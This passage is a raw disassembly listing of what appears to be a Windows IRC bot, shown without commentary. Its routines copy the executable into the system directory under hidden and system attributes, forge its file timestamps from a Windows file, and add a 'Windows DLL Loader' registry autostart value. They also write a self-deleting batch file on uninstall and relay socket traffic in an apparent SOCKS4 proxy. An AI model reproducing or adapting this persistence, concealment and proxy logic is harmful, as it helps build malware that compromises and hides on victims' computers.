inc eax mov [ebp+var_41C], eax loc_40696D: ; CODE XREF: sub_406722+23Cj mov eax, [ebp+var_41C] cmp eax, [ebp+var_8] jnb short loc_4069EA mov eax, [ebp+var_214] add eax, [ebp+var_41C] movzx eax, byte ptr [eax] push eax push offset dword_418B54 lea eax, [ebp+var_424] push eax call sub_416B5E ; sprintf add esp, 0Ch push [ebp+var_420] call sub_416B40 ; strlen pop ecx add eax, 3 cmp eax, 180h jb short loc_4069D1 push [ebp+var_420] push offset dword_418B64 push [ebp+arg_0] call sub_40D53F add esp, 0Ch mov eax, [ebp+var_420] and byte ptr [eax], 0 loc_4069D1: ; CODE XREF: sub_406722+28Ej lea eax, [ebp+var_424] push eax push [ebp+var_420] call sub_416B70 ; _mbscat pop ecx pop ecx jmp loc_406960 ; --------------------------------------------------------------------------- loc_4069EA: ; CODE XREF: sub_406722+254j push [ebp+var_420] push offset dword_418B64 push [ebp+arg_0] call sub_40D53F add esp, 0Ch push [ebp+var_420] call sub_416B4C ; free pop ecx loc_406A0C: ; CODE XREF: sub_406722+1CBj ; sub_406722+215j push [ebp+var_214] call sub_416B4C ; free pop ecx push [ebp+var_C] call ds:dword_417028 ; RegCloseKey locret_406A21: ; CODE XREF: sub_406722+Fj ; sub_406722+20j ... leave retn sub_406722 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406A23 proc near ; CODE XREF: sub_40D043:loc_40D18Dp ; sub_40D871:loc_40DB71p var_20C = byte ptr -20Ch var_108 = dword ptr -108h var_104 = byte ptr -104h push ebp mov ebp, esp sub esp, 20Ch push 104h lea eax, [ebp+var_20C] push eax call ds:dword_417050 ; GetSystemDirectoryA push offset dword_418DE4 lea eax, [ebp+var_20C] push eax call sub_416B70 ; _mbscat pop ecx pop ecx push offset dword_41DD14 lea eax, [ebp+var_104] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_104] push eax call sub_4105FB pop ecx lea eax, [ebp+var_104] push eax lea eax, [ebp+var_20C] push eax call sub_416B70 ; _mbscat pop ecx pop ecx lea eax, [ebp+var_20C] push eax call ds:dword_4170AC ; DeleteFileA push offset dword_4182AC lea eax, [ebp+var_20C] push eax call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_108], eax cmp [ebp+var_108], 0 jz short locret_406AE5 push [ebp+var_108] push 1 push 2 push offset dword_418DE0 call sub_416B7C ; fwrite add esp, 10h push [ebp+var_108] call sub_416B82 ; fclose pop ecx lea eax, [ebp+var_20C] push eax call sub_406B81 pop ecx locret_406AE5: ; CODE XREF: sub_406A23+90j leave retn sub_406A23 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406AE7 proc near ; CODE XREF: sub_40D043+13Dp ; sub_40D871+2F3p var_20C = byte ptr -20Ch var_108 = dword ptr -108h var_104 = byte ptr -104h push ebp mov ebp, esp sub esp, 20Ch push 104h lea eax, [ebp+var_20C] push eax call ds:dword_417050 ; GetSystemDirectoryA push offset dword_418DE4 lea eax, [ebp+var_20C] push eax call sub_416B70 ; _mbscat pop ecx pop ecx push offset dword_41DD14 lea eax, [ebp+var_104] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_104] push eax call sub_4105FB pop ecx lea eax, [ebp+var_104] push eax lea eax, [ebp+var_20C] push eax call sub_416B70 ; _mbscat pop ecx pop ecx push offset aRb ; "rb" lea eax, [ebp+var_20C] push eax call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_108], eax cmp [ebp+var_108], 0 jz short loc_406B7D push [ebp+var_108] call sub_416B82 ; fclose pop ecx push 1 pop eax jmp short locret_406B7F ; --------------------------------------------------------------------------- loc_406B7D: ; CODE XREF: sub_406AE7+83j xor eax, eax locret_406B7F: ; CODE XREF: sub_406AE7+94j leave retn sub_406AE7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406B81 proc near ; CODE XREF: sub_406A23+BCp ; sub_406E8E+246p var_120 = dword ptr -120h var_11C = byte ptr -11Ch var_18 = byte ptr -18h var_10 = byte ptr -10h var_8 = byte ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 120h push 104h lea eax, [ebp+var_11C] push eax call ds:dword_417040 ; GetWindowsDirectoryA push offset dword_418DE8 lea eax, [ebp+var_11C] push eax call sub_416B70 ; _mbscat pop ecx pop ecx push 0 push 80h push 3 push 0 push 1 push 80000000h lea eax, [ebp+var_11C] push eax call ds:dword_417044 ; CreateFileA mov [ebp+var_120], eax cmp [ebp+var_120], 0FFFFFFFFh jz short locret_406C4F lea eax, [ebp+var_10] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_18] push eax push [ebp+var_120] call ds:dword_417048 ; GetFileTime push [ebp+var_120] call ds:dword_4170A4 ; CloseHandle push 0 push 80h push 3 push 0 push 2 push 40000000h push [ebp+arg_0] call ds:dword_417044 ; CreateFileA mov [ebp+var_120], eax cmp [ebp+var_120], 0FFFFFFFFh jz short locret_406C4F lea eax, [ebp+var_10] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_18] push eax push [ebp+var_120] call ds:dword_41704C ; SetFileTime push [ebp+var_120] call ds:dword_4170A4 ; CloseHandle locret_406C4F: ; CODE XREF: sub_406B81+5Aj ; sub_406B81+A8j leave retn sub_406B81 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406C51 proc near ; CODE XREF: sub_406E8E+133p ; sub_406E8E+214p ... var_108 = byte ptr -108h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 108h push 0 lea eax, [ebp+var_4] push eax push 0 push 0F003Fh push 0 push 0 push 0 push offset aSoftwareMicros ; "Software\\Microsoft\\Windows\\CurrentVersi"... push 80000002h call ds:dword_417014 ; RegCreateKeyExA cmp [ebp+arg_0], 0 jz short loc_406CE1 push 104h lea eax, [ebp+var_108] push eax call ds:dword_417050 ; GetSystemDirectoryA push offset dword_418DE4 lea eax, [ebp+var_108] push eax call sub_416B70 ; _mbscat pop ecx pop ecx push [ebp+arg_8] lea eax, [ebp+var_108] push eax call sub_416B70 ; _mbscat pop ecx pop ecx lea eax, [ebp+var_108] push eax call ds:dword_41703C ; lstrlen inc eax push eax lea eax, [ebp+var_108] push eax push 1 push 0 push [ebp+arg_4] push [ebp+var_4] call ds:dword_417010 ; RegSetValueExA jmp short loc_406CED ; --------------------------------------------------------------------------- loc_406CE1: ; CODE XREF: sub_406C51+30j push [ebp+arg_4] push [ebp+var_4] call ds:dword_417004 ; RegDeleteValueA loc_406CED: ; CODE XREF: sub_406C51+8Ej push [ebp+var_4] call ds:dword_417028 ; RegCloseKey leave retn sub_406C51 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406CF8 proc near ; CODE XREF: sub_406D47+2Bp ; sub_406E8E+253p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_0] mov [ebp+var_8], eax push [ebp+arg_0] call sub_416B40 ; strlen pop ecx mov [ebp+var_C], eax and [ebp+var_4], 0 jmp short loc_406D1D ; --------------------------------------------------------------------------- loc_406D16: ; CODE XREF: sub_406CF8:loc_406D40j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_406D1D: ; CODE XREF: sub_406CF8+1Cj mov eax, [ebp+var_4] cmp eax, [ebp+var_C] jnb short loc_406D42 mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 5Ch jnz short loc_406D40 mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] lea eax, [ecx+eax+1] mov [ebp+var_8], eax loc_406D40: ; CODE XREF: sub_406CF8+39j jmp short loc_406D16 ; --------------------------------------------------------------------------- loc_406D42: ; CODE XREF: sub_406CF8+2Bj mov eax, [ebp+var_8] leave retn sub_406CF8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406D47 proc near ; CODE XREF: sub_406E8E+9p ; sub_407148+9p var_108 = byte ptr -108h var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 108h push 104h lea eax, [ebp+var_108] push eax push 0 call ds:dword_41708C ; GetModuleHandleA push eax call ds:dword_417090 ; GetModuleFileNameA lea eax, [ebp+var_108] push eax call sub_406CF8 pop ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] and byte ptr [eax], 0 lea eax, [ebp+var_108] push eax call ds:dword_417038 ; SetCurrentDirectoryA leave retn sub_406D47 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406D90 proc near ; CODE XREF: sub_406E8E+25Ap ; sub_407148+168p ... var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28h push 8 push 4 call sub_4103F5 pop ecx pop ecx mov [ebp+var_20], eax and [ebp+var_1C], 0 loc_406DA8: ; CODE XREF: sub_406D90:loc_406DDFj push 7Ah push 61h call sub_4103F5 pop ecx pop ecx mov ecx, [ebp+var_1C] mov [ebp+ecx+var_18], al mov eax, [ebp+var_1C] inc eax mov [ebp+var_1C], eax mov eax, [ebp+var_1C] cmp eax, [ebp+var_20] jnz short loc_406DDF push offset a_bat ; ".bat" mov eax, [ebp+var_1C] lea eax, [ebp+eax+var_18] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_406DE1 ; --------------------------------------------------------------------------- loc_406DDF: ; CODE XREF: sub_406D90+37j jmp short loc_406DA8 ; --------------------------------------------------------------------------- loc_406DE1: ; CODE XREF: sub_406D90+4Dj push [ebp+arg_0] call sub_416B40 ; strlen pop ecx mov [ebp+var_8], eax push 400h call sub_416B46 ; malloc pop ecx mov [ebp+var_24], eax lea eax, [ebp+var_18] push eax call ds:dword_4170AC ; DeleteFileA push 0 push 0 push 2 push 0 push 0 push 40000000h lea eax, [ebp+var_18] push eax call ds:dword_417044 ; CreateFileA mov [ebp+var_28], eax cmp [ebp+var_28], 0FFFFFFFFh jnz short loc_406E2B xor eax, eax jmp short locret_406E8C ; --------------------------------------------------------------------------- loc_406E2B: ; CODE XREF: sub_406D90+95j lea eax, [ebp+var_18] push eax push [ebp+arg_0] push [ebp+arg_0] push [ebp+arg_0] push offset a@echoOffDelete ; "@echo off\r\n:deleteagain\r\ndel /A:H /F %s"... push [ebp+var_24] call ds:dword_4171E0 ; wsprintfA add esp, 18h and [ebp+var_4], 0 push 0 lea eax, [ebp+var_4] push eax push [ebp+var_24] call sub_416B40 ; strlen pop ecx push eax push [ebp+var_24] push [ebp+var_28] call ds:dword_417068 ; WriteFile push [ebp+var_28] call ds:dword_4170A4 ; CloseHandle push 0 push 0 push 0 lea eax, [ebp+var_18] push eax push offset aOpen ; "open" push 0 call ds:dword_4171D0 push 1 pop eax locret_406E8C: ; CODE XREF: sub_406D90+99j leave retn sub_406D90 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406E8E proc near ; CODE XREF: UPX0:loc_4169E1p var_368 = dword ptr -368h var_338 = word ptr -338h var_324 = byte ptr -324h var_220 = dword ptr -220h var_21C = byte ptr -21Ch var_118 = byte ptr -118h var_14 = dword ptr -14h var_10 = byte ptr -10h push ebp mov ebp, esp sub esp, 368h call sub_406D47 push 104h lea eax, [ebp+var_324] push eax push 0 call ds:dword_41708C ; GetModuleHandleA push eax call ds:dword_417090 ; GetModuleFileNameA and [ebp+var_14], 0 and [ebp+var_220], 0 jmp short loc_406ED1 ; --------------------------------------------------------------------------- loc_406EC4: ; CODE XREF: sub_406E8E:loc_406FF8j mov eax, [ebp+var_220] inc eax mov [ebp+var_220], eax loc_406ED1: ; CODE XREF: sub_406E8E+34j mov eax, [ebp+var_220] shl eax, 1 cmp ds:off_418B88[eax*4], 0 jz loc_406FFD mov eax, [ebp+var_14] inc eax mov [ebp+var_14], eax push 104h lea eax, [ebp+var_21C] push eax call ds:dword_417050 ; GetSystemDirectoryA push offset dword_418DE4 lea eax, [ebp+var_21C] push eax call sub_416B70 ; _mbscat pop ecx pop ecx mov eax, [ebp+var_220] shl eax, 1 push ds:off_418B88[eax*4] call sub_4105FB pop ecx mov eax, [ebp+var_220] shl eax, 1 push ds:off_418B88[eax*4] lea eax, [ebp+var_21C] push eax call sub_416B70 ; _mbscat pop ecx pop ecx mov eax, [ebp+var_220] shl eax, 1 push ds:off_418B88[eax*4] call sub_4105AD pop ecx lea eax, [ebp+var_324] push eax lea eax, [ebp+var_21C] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz loc_406FF8 mov eax, [ebp+var_220] shl eax, 1 push ds:off_418B88[eax*4] call sub_4105FB pop ecx mov eax, [ebp+var_220] shl eax, 1 push ds:off_418B8C[eax*4] call sub_4105FB pop ecx mov eax, [ebp+var_220] shl eax, 1 push ds:off_418B88[eax*4] mov eax, [ebp+var_220] shl eax, 1 push ds:off_418B8C[eax*4] push 1 call sub_406C51 add esp, 0Ch mov eax, [ebp+var_220] shl eax, 1 push ds:off_418B88[eax*4] call sub_4105AD pop ecx mov eax, [ebp+var_220] shl eax, 1 push ds:off_418B8C[eax*4] call sub_4105AD pop ecx jmp locret_407146 ; --------------------------------------------------------------------------- loc_406FF8: ; CODE XREF: sub_406E8E+E3j jmp loc_406EC4 ; --------------------------------------------------------------------------- loc_406FFD: ; CODE XREF: sub_406E8E+53j push [ebp+var_14] push 0 call sub_4103F5 pop ecx pop ecx mov [ebp+var_14], eax push 104h lea eax, [ebp+var_118] push eax call ds:dword_417050 ; GetSystemDirectoryA push offset dword_418DE4 lea eax, [ebp+var_118] push eax call sub_416B70 ; _mbscat pop ecx pop ecx mov eax, [ebp+var_14] shl eax, 1 push ds:off_418B88[eax*4] call sub_4105FB pop ecx mov eax, [ebp+var_14] shl eax, 1 push ds:off_418B88[eax*4] lea eax, [ebp+var_118] push eax call sub_416B70 ; _mbscat pop ecx pop ecx mov eax, [ebp+var_14] shl eax, 1 push ds:off_418B88[eax*4] call sub_4105AD pop ecx lea eax, [ebp+var_118] push eax call ds:dword_4170AC ; DeleteFileA loc_40707C: ; DATA XREF: UPX1:0041AD4Co ; UPX1:0041AD60o ... push 0 lea eax, [ebp+var_118] push eax lea eax, [ebp+var_324] push eax call ds:dword_417060 ; CopyFileA test eax, eax jnz short loc_4070AF push offset dword_41EBFC push offset aWindowsDllLoad ; "Windows DLL Loader" push 1 call sub_406C51 add esp, 0Ch jmp locret_407146 ; --------------------------------------------------------------------------- loc_4070AF: ; CODE XREF: sub_406E8E+206j push 4 lea eax, [ebp+var_118] push eax call ds:dword_4170A8 ; SetFileAttributesA push 2 lea eax, [ebp+var_118] push eax call ds:dword_4170A8 ; SetFileAttributesA lea eax, [ebp+var_118] push eax call sub_406B81 pop ecx lea eax, [ebp+var_324] push eax call sub_406CF8 pop ecx push eax call sub_406D90 pop ecx push 44h push 0 lea eax, [ebp+var_368] push eax call sub_416B6A ; memset add esp, 0Ch mov [ebp+var_368], 44h and [ebp+var_338], 0 lea eax, [ebp+var_10] push eax lea eax, [ebp+var_368] push eax push 0 push 0 push 28h push 1 push 0 push 0 lea eax, [ebp+var_118] push eax push 0 call ds:dword_41707C ; CreateProcessA call ds:dword_417254 ; WSACleanup push 0 call sub_416BFC ; exit locret_407146: ; CODE XREF: sub_406E8E+165j ; sub_406E8E+21Cj leave retn sub_406E8E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407148 proc near ; CODE XREF: sub_402A32+7BBp ; sub_40A9CF+145Fp ... var_20C = byte ptr -20Ch var_108 = dword ptr -108h var_104 = byte ptr -104h push ebp mov ebp, esp sub esp, 20Ch call sub_406D47 push 104h lea eax, [ebp+var_20C] push eax push 0 call ds:dword_41708C ; GetModuleHandleA push eax call ds:dword_417090 ; GetModuleFileNameA and [ebp+var_108], 0 jmp short loc_407187 ; --------------------------------------------------------------------------- loc_40717A: ; CODE XREF: sub_407148:loc_4072DBj mov eax, [ebp+var_108] inc eax mov [ebp+var_108], eax loc_407187: ; CODE XREF: sub_407148+30j mov eax, [ebp+var_108] shl eax, 1 cmp ds:off_418B88[eax*4], 0 jz loc_4072E0 push 104h lea eax, [ebp+var_104] push eax call ds:dword_417050 ; GetSystemDirectoryA push offset dword_418DE4 lea eax, [ebp+var_104] push eax call sub_416B70 ; _mbscat pop ecx pop ecx mov eax, [ebp+var_108] shl eax, 1 push ds:off_418B88[eax*4] call sub_4105FB pop ecx mov eax, [ebp+var_108] shl eax, 1 push ds:off_418B88[eax*4] lea eax, [ebp+var_104] push eax call sub_416B70 ; _mbscat pop ecx pop ecx mov eax, [ebp+var_108] shl eax, 1 push ds:off_418B88[eax*4] call sub_4105AD pop ecx lea eax, [ebp+var_20C] push eax lea eax, [ebp+var_104] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz loc_4072DB mov eax, [ebp+var_108] shl eax, 1 push ds:off_418B88[eax*4] call sub_4105FB pop ecx mov eax, [ebp+var_108] shl eax, 1 push ds:off_418B8C[eax*4] call sub_4105FB pop ecx mov eax, [ebp+var_108] shl eax, 1 push ds:off_418B88[eax*4] mov eax, [ebp+var_108] shl eax, 1 push ds:off_418B8C[eax*4] push 0 call sub_406C51 add esp, 0Ch mov eax, [ebp+var_108] shl eax, 1 push ds:off_418B88[eax*4] call sub_4105AD pop ecx mov eax, [ebp+var_108] shl eax, 1 push ds:off_418B8C[eax*4] call sub_4105AD pop ecx lea eax, [ebp+var_20C] push eax call sub_406CF8 pop ecx push eax call sub_406D90 pop ecx test eax, eax jz short loc_4072D9 push offset dword_41EBFC push offset aQuitSUninstall ; "QUIT :%s uninstalled." call sub_40D6CB pop ecx pop ecx call ds:dword_417254 ; WSACleanup push 0 call ds:dword_41705C ; ExitProcess loc_4072D9: ; CODE XREF: sub_407148+170j jmp short locret_40732B ; --------------------------------------------------------------------------- loc_4072DB: ; CODE XREF: sub_407148+D8j jmp loc_40717A ; --------------------------------------------------------------------------- loc_4072E0: ; CODE XREF: sub_407148+4Fj push offset dword_41EBFC push offset aWindowsDllLoad ; "Windows DLL Loader" push 0 call sub_406C51 add esp, 0Ch lea eax, [ebp+var_20C] push eax call sub_406CF8 pop ecx push eax call sub_406D90 pop ecx test eax, eax jz short locret_40732B push offset dword_41EBFC push offset aQuitSUninstall ; "QUIT :%s uninstalled." call sub_40D6CB pop ecx pop ecx call ds:dword_417254 ; WSACleanup push 0 call ds:dword_41705C ; ExitProcess locret_40732B: ; CODE XREF: sub_407148:loc_4072D9j ; sub_407148+1C2j leave retn sub_407148 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40732D proc near ; DATA XREF: sub_40764D+145o var_16F0 = dword ptr -16F0h var_16EC = dword ptr -16ECh var_16E8 = dword ptr -16E8h var_16E4 = dword ptr -16E4h var_16E0 = byte ptr -16E0h var_6E0 = byte ptr -6E0h var_5E0 = dword ptr -5E0h var_5DC = byte ptr -5DCh var_5D4 = dword ptr -5D4h var_5D0 = byte ptr -5D0h var_5CF = byte ptr -5CFh var_5CE = dword ptr -5CEh var_5C8 = byte ptr -5C8h var_1C8 = dword ptr -1C8h var_1BE = byte ptr -1BEh var_1AE = byte ptr -1AEh var_1B = byte ptr -1Bh var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 16F0h call sub_416BC0 push 1BDh push [ebp+arg_0] lea eax, [ebp+var_1C8] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx mov eax, [ebp+var_1C8] mov [ebp+var_5D4], eax push 0 push 408h lea eax, [ebp+var_5D0] push eax push [ebp+var_5D4] call ds:dword_417248 ; recv mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_40738F cmp [ebp+var_8], 0FFFFFFFFh jnz short loc_407396 loc_40738F: ; CODE XREF: sub_40732D+5Aj xor eax, eax jmp locret_407649 ; --------------------------------------------------------------------------- loc_407396: ; CODE XREF: sub_40732D+60j movzx eax, [ebp+var_5D0] cmp eax, 4 jnz short loc_4073BA movzx eax, [ebp+var_5CF] cmp eax, 1 jnz short loc_4073BA mov [ebp+var_16EC], 1 jmp short loc_4073C1 ; --------------------------------------------------------------------------- loc_4073BA: ; CODE XREF: sub_40732D+73j ; sub_40732D+7Fj and [ebp+var_16EC], 0 loc_4073C1: ; CODE XREF: sub_40732D+8Bj mov eax, [ebp+var_16EC] mov [ebp+var_4], eax movsx eax, [ebp+var_1BE] test eax, eax jz short loc_4073F5 push 10h lea eax, [ebp+var_1BE] push eax lea eax, [ebp+var_5C8] push eax call sub_416BF0 ; strncmp add esp, 0Ch test eax, eax jz short loc_4073F5 and [ebp+var_4], 0 loc_4073F5: ; CODE XREF: sub_40732D+A6j ; sub_40732D+C2j movsx eax, [ebp+var_1B] test eax, eax jz short loc_407456 lea eax, [ebp+var_6E0] push eax push [ebp+var_5D4] call sub_4044F7 pop ecx pop ecx cmp [ebp+var_4], 0 jz short loc_407423 mov [ebp+var_16F0], offset byte_41DF00 jmp short loc_40742D ; --------------------------------------------------------------------------- loc_407423: ; CODE XREF: sub_40732D+E8j mov [ebp+var_16F0], offset dword_418EEC loc_40742D: ; CODE XREF: sub_40732D+F4j push [ebp+var_16F0] movzx eax, [ebp+var_5D0] push eax lea eax, [ebp+var_6E0] push eax push offset dword_418EB8 lea eax, [ebp+var_1AE] push eax call sub_40D53F add esp, 14h loc_407456: ; CODE XREF: sub_40732D+CEj cmp [ebp+var_4], 0 jnz short loc_4074A0 push 8 push 0 lea eax, [ebp+var_5D0] push eax call sub_416B6A ; memset add esp, 0Ch mov [ebp+var_5CF], 5Bh push 8 lea eax, [ebp+var_5D0] push eax push [ebp+var_5D4] call sub_4053BF add esp, 0Ch push [ebp+var_5D4] call sub_40538D pop ecx xor eax, eax jmp locret_407649 ; --------------------------------------------------------------------------- loc_4074A0: ; CODE XREF: sub_40732D+12Dj push 0Ah lea eax, [ebp+var_5DC] push eax push [ebp+var_5CE] call ds:dword_417238 ; htons movzx eax, ax push eax call sub_416F7A ; _itoa add esp, 0Ch push 2710h push 0 lea eax, [ebp+var_5DC] push eax push [ebp+var_5CE+2] call ds:dword_41721C ; inet_ntoa push eax call sub_4050EA add esp, 10h mov [ebp+var_5E0], eax push 8 push 0 lea eax, [ebp+var_5D0] push eax call sub_416B6A ; memset add esp, 0Ch cmp [ebp+var_5E0], 0 jnz short loc_407537 mov [ebp+var_5CF], 5Bh push 8 lea eax, [ebp+var_5D0] push eax push [ebp+var_5D4] call sub_4053BF add esp, 0Ch push [ebp+var_5D4] call sub_40538D pop ecx xor eax, eax jmp locret_407649 ; --------------------------------------------------------------------------- loc_407537: ; CODE XREF: sub_40732D+1D7j mov [ebp+var_5CF], 5Ah push 8 lea eax, [ebp+var_5D0] push eax push [ebp+var_5D4] call sub_4053BF add esp, 0Ch loc_407555: ; CODE XREF: sub_40732D+2FDj push [ebp+var_5D4] call sub_40447B pop ecx test eax, eax jz short loc_4075BD push 0 push 1000h lea eax, [ebp+var_16E0] push eax push [ebp+var_5D4] call ds:dword_417248 ; recv mov [ebp+var_16E4], eax cmp [ebp+var_16E4], 0 jz short loc_407597 cmp [ebp+var_16E4], 0FFFFFFFFh jnz short loc_40759C loc_407597: ; CODE XREF: sub_40732D+25Fj jmp loc_40762F ; --------------------------------------------------------------------------- loc_40759C: ; CODE XREF: sub_40732D+268j push [ebp+var_16E4] lea eax, [ebp+var_16E0] push eax push [ebp+var_5E0] call sub_4053BF add esp, 0Ch test eax, eax jnz short loc_4075BD jmp short loc_40762F ; --------------------------------------------------------------------------- loc_4075BD: ; CODE XREF: sub_40732D+236j ; sub_40732D+28Cj push [ebp+var_5E0] call sub_40447B pop ecx test eax, eax jz short loc_407622 push 0 push 1000h lea eax, [ebp+var_16E0] push eax push [ebp+var_5E0] call ds:dword_417248 ; recv mov [ebp+var_16E8], eax cmp [ebp+var_16E8], 0 jz short loc_4075FF cmp [ebp+var_16E8], 0FFFFFFFFh jnz short loc_407601 loc_4075FF: ; CODE XREF: sub_40732D+2C7j jmp short loc_40762F ; --------------------------------------------------------------------------- loc_407601: ; CODE XREF: sub_40732D+2D0j push [ebp+var_16E8] lea eax, [ebp+var_16E0] push eax push [ebp+var_5D4] call sub_4053BF add esp, 0Ch test eax, eax jnz short loc_407622 jmp short loc_40762F ; --------------------------------------------------------------------------- loc_407622: ; CODE XREF: sub_40732D+29Ej ; sub_40732D+2F1j push 32h call ds:dword_41709C ; Sleep jmp loc_407555 ; --------------------------------------------------------------------------- loc_40762F: ; CODE XREF: sub_40732D:loc_407597j ; sub_40732D+28Ej ... push [ebp+var_5D4] call sub_40538D pop ecx push [ebp+var_5E0] call sub_40538D pop ecx xor eax, eax locret_407649: ; CODE XREF: sub_40732D+64j ; sub_40732D+16Ej ... leave retn 4 sub_40732D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40764D proc near ; DATA XREF: sub_4077DD+B4o var_1CC = dword ptr -1CCh var_1C8 = dword ptr -1C8h var_1C4 = dword ptr -1C4h var_1C0 = dword ptr -1C0h var_1BC = byte ptr -1BCh var_1B6 = byte ptr -1B6h var_1A6 = byte ptr -1A6h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1CCh push 1BDh push [ebp+arg_0] lea eax, [ebp+var_1C0] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx push 1 lea eax, [ebp+var_1BC] push eax call sub_4046BC pop ecx pop ecx mov [ebp+var_1C4], eax cmp [ebp+var_1C4], 0 jnz short loc_4076A8 push [ebp+var_1C0] call sub_409763 pop ecx xor eax, eax jmp locret_4077D9 ; --------------------------------------------------------------------------- loc_4076A8: ; CODE XREF: sub_40764D+46j lea eax, [ebp+var_1BC] push eax mov eax, [ebp+var_1C0] push dword ptr [eax] push offset dword_418EF8 lea eax, [ebp+var_1A6] push eax call sub_40D53F add esp, 10h loc_4076CB: ; CODE XREF: sub_40764D+B9j ; sub_40764D+E1j ... push 3E8h push [ebp+var_1C4] call sub_4048EF pop ecx pop ecx mov [ebp+var_1C8], eax mov eax, [ebp+var_1C0] cmp dword ptr [eax+4], 0 jnz short loc_4076F8 cmp [ebp+var_1C8], 0 jnz short loc_4076FD loc_4076F8: ; CODE XREF: sub_40764D+A0j jmp loc_4077BF ; --------------------------------------------------------------------------- loc_4076FD: ; CODE XREF: sub_40764D+A9j cmp [ebp+var_1C8], 0FFFFFFFFh jnz short loc_407708 jmp short loc_4076CB ; --------------------------------------------------------------------------- loc_407708: ; CODE XREF: sub_40764D+B7j push 1BDh call sub_416B46 ; malloc pop ecx mov [ebp+var_1CC], eax cmp [ebp+var_1CC], 0 jnz short loc_407730 push [ebp+var_1C8] call sub_4053B1 pop ecx jmp short loc_4076CB ; --------------------------------------------------------------------------- loc_407730: ; CODE XREF: sub_40764D+D3j mov eax, [ebp+var_1CC] mov ecx, [ebp+var_1C8] mov [eax], ecx lea eax, [ebp+var_1BC] push eax mov eax, [ebp+var_1CC] add eax, 4 push eax call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_1B6] push eax mov eax, [ebp+var_1CC] add eax, 0Ah push eax call sub_416B3A ; _mbscpy pop ecx pop ecx push 1A3h lea eax, [ebp+var_1A6] push eax mov eax, [ebp+var_1CC] add eax, 1Ah push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+var_1CC] push offset sub_40732D call sub_409479 pop ecx pop ecx test eax, eax jnz short loc_4077BA push [ebp+var_1CC] call sub_416B4C ; free pop ecx push [ebp+var_1C8] call sub_4053B1 pop ecx loc_4077BA: ; CODE XREF: sub_40764D+153j jmp loc_4076CB ; --------------------------------------------------------------------------- loc_4077BF: ; CODE XREF: sub_40764D:loc_4076F8j push [ebp+var_1C4] call sub_404CBB pop ecx push [ebp+var_1C0] call sub_409763 pop ecx xor eax, eax locret_4077D9: ; CODE XREF: sub_40764D+56j leave retn 4 sub_40764D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4077DD proc near ; CODE XREF: sub_40A9CF+17Ap var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h cmp [ebp+arg_4], 0 jnz short loc_40780F push 0Ah lea eax, [ebp+var_8] push eax push 0FFFFh push 401h call sub_4103F5 pop ecx pop ecx push eax call sub_416F7A ; _itoa add esp, 0Ch lea eax, [ebp+var_8] mov [ebp+arg_4], eax loc_40780F: ; CODE XREF: sub_4077DD+Aj push 1BDh call sub_416B46 ; malloc pop ecx mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_407825 jmp short locret_40789E ; --------------------------------------------------------------------------- loc_407825: ; CODE XREF: sub_4077DD+44j push [ebp+arg_4] mov eax, [ebp+var_C] add eax, 4 push eax call sub_416B3A ; _mbscpy pop ecx pop ecx cmp [ebp+arg_8], 0 jz short loc_407844 mov eax, [ebp+arg_8] mov [ebp+var_10], eax jmp short loc_40784B ; --------------------------------------------------------------------------- loc_407844: ; CODE XREF: sub_4077DD+5Dj mov [ebp+var_10], offset byte_41DF00 loc_40784B: ; CODE XREF: sub_4077DD+65j push 10h push [ebp+var_10] mov eax, [ebp+var_C] add eax, 0Ah push eax call sub_407A56 add esp, 0Ch push 1A3h push 